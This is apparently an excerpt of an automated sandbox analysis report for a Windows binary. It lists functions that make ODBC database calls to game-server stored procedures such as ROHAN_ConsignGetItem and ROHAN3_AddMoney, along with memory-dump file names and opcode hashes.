                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000EE,00000004,00000000), ref: 00430783
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_ConsignGetItem] (?,?,?)}, xrefs: 00430693
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_ConsignGetItem] (?,?,?)}
                                                                                                                            • API String ID: 0-2398152061
                                                                                                                            • Opcode ID: abd50475ea8552462f474b1afb9a04b7325a52bc2b2359917ef44be75a42d489
                                                                                                                            • Instruction ID: 3408619a253f28e4fb30b76cdc23c6f54abb56d0d18f5f519b15ea7a6e769502
                                                                                                                            • Opcode Fuzzy Hash: abd50475ea8552462f474b1afb9a04b7325a52bc2b2359917ef44be75a42d489
                                                                                                                            • Instruction Fuzzy Hash: 0A31E370E482186BEBA48F44CC52F9D7375EB84718F208289F71C6A2C5D7B979808F59
                                                                                                                            Function 0043078D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN2_ConsignGetItem] (?,?,?)},000000FD), ref: 004307B6
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004307F5
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043082D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000EE,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00430865
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000EE,00000004,00000000), ref: 0043089D
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN2_ConsignGetItem] (?,?,?)}, xrefs: 004307AD
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN2_ConsignGetItem] (?,?,?)}
                                                                                                                            • API String ID: 0-2221601291
                                                                                                                            • Opcode ID: 70ddaed2d31ff64160582ee8cf7108f73cb285c3a07421e1f6061ffd4bf6572f
                                                                                                                            • Instruction ID: a126f9ebb17af9ac2ff7ad8eb9e22ad0882f2ed87481cd8c5fa5e61a161968dd
                                                                                                                            • Opcode Fuzzy Hash: 70ddaed2d31ff64160582ee8cf7108f73cb285c3a07421e1f6061ffd4bf6572f
                                                                                                                            • Instruction Fuzzy Hash: 953101B0E487586BEB608F44CC52FE97374EB44B19F208289F61C7A2C1D6F979808F59
                                                                                                                            Function 00426096 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 87COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_AddBlackPoint](?,?,?) } ,000000FD), ref: 004260BF
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004260FE
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00426133
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042616B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004261A3
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_AddBlackPoint](?,?,?) } , xrefs: 004260B6
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_AddBlackPoint](?,?,?) }
                                                                                                                            • API String ID: 0-205923592
                                                                                                                            • Opcode ID: 975dad4ae994fc00092fe7140eb89ce936ea7334d73ca471d8dd67aa5b9147b4
                                                                                                                            • Instruction ID: 0aef55fb9a5a382306c36890f947f998fa94f203f390a2478d32423b58f2ccce
                                                                                                                            • Opcode Fuzzy Hash: 975dad4ae994fc00092fe7140eb89ce936ea7334d73ca471d8dd67aa5b9147b4
                                                                                                                            • Instruction Fuzzy Hash: 0F3105B0A402547BEB64DF44CC52FED7375EB84B18F208189FB186E2C5D5B16E808F58
                                                                                                                            Function 0043020D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 87COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN2_ConsignGetMoney] (?,?,?)},000000FD), ref: 00430236
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00430275
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004302AA
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004302E2
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000E7,000000FB,00000000), ref: 0043031A
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN2_ConsignGetMoney] (?,?,?)}, xrefs: 0043022D
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN2_ConsignGetMoney] (?,?,?)}
                                                                                                                            • API String ID: 0-2707633737
                                                                                                                            • Opcode ID: f50fb8ebc44380270e09cf23b9ca30c201113c20fb7a301724c445cab4a065b9
                                                                                                                            • Instruction ID: a355570d1f7059674d39b1c244eb4f77d68747717d74fd986ce5a4601cfabf74
                                                                                                                            • Opcode Fuzzy Hash: f50fb8ebc44380270e09cf23b9ca30c201113c20fb7a301724c445cab4a065b9
                                                                                                                            • Instruction Fuzzy Hash: B731D0B1E48218ABEB24CB48CC92FE97374EB84714F104289F71C6E2C4D6B979408F59
                                                                                                                            Function 0042B2D3 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 87COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN3_AddMoney](?,?,?) } ,000000FD), ref: 0042B2FC
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042B33B
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042B370
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042B3A8
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000E7,000000FB,00000000), ref: 0042B3E0
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN3_AddMoney](?,?,?) } , xrefs: 0042B2F3
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN3_AddMoney](?,?,?) }
                                                                                                                            • API String ID: 0-1356384992
                                                                                                                            • Opcode ID: bf1a19dd9ad0fe2d6dc0cdf7978c07f85751d398ffe044214a75212d7da4574c
                                                                                                                            • Instruction ID: 74c233c74c931631a375dec20295aeac84d2d770b75651916f83b94e963f8461
                                                                                                                            • Opcode Fuzzy Hash: bf1a19dd9ad0fe2d6dc0cdf7978c07f85751d398ffe044214a75212d7da4574c
                                                                                                                            • Instruction Fuzzy Hash: 173144B07442147FEB258F44CC52FAA7378EF85B14F10828CF6D46E2C4C6B16E408B49
                                                                                                                            Function 00427441 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 87COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_DelSkills](?,?,?) } ,000000FD), ref: 0042746D
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004274AC
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004274E1
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00427519
                                                                                                                            • #72.ODBC32(?,00000000,00000001,00000001,0000000C,000000FF,00000000,?,00000100,00000000,?,00000000,00000001,000000F1,00000005,00000000), ref: 00427557
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_DelSkills](?,?,?) } , xrefs: 00427464
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_DelSkills](?,?,?) }
                                                                                                                            • API String ID: 0-4245388576
                                                                                                                            • Opcode ID: 4470ccf511d99a8f93723d4a0179d29ba0f2378d3aa834ce24a4339f086ca76c
                                                                                                                            • Instruction ID: d97a35575de81bfbbf5fdc3963e1973fe6898a64b8d56a03c22853284713eb70
                                                                                                                            • Opcode Fuzzy Hash: 4470ccf511d99a8f93723d4a0179d29ba0f2378d3aa834ce24a4339f086ca76c
                                                                                                                            • Instruction Fuzzy Hash: F8311470A403146BEB64DF44CC56FA97334EB44B14F204289F7146E2D5D7B96E80CF58
                                                                                                                            Function 00424426 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 87COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetRTMOut](?,?,?) } ,000000FD), ref: 00424446
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00424476
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042449F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004244CB
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000E7,000000FB,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004244F7
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetRTMOut](?,?,?) } , xrefs: 0042443D
                                                                                                                            Memory Dump Source
